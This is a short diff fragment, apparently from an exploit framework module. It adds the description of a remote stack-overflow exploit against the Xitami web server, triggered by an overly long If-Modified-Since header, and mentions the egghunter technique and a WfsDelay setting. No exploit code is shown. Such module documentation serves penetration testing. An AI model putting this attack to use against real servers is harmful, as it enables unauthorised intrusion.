+			This module exploits a stack overflow in the iMatix Corporation
+            Xitami xigui32.exe Web Server. If a malicious user sends an
+            If-Modified-Since header containing an overly long string, it may be
+            possible to execute a payload remotely. Due to size constraints,
+            this module uses the Egghunter technique. You may wish to adjust
+            WfsDelay appropriately.
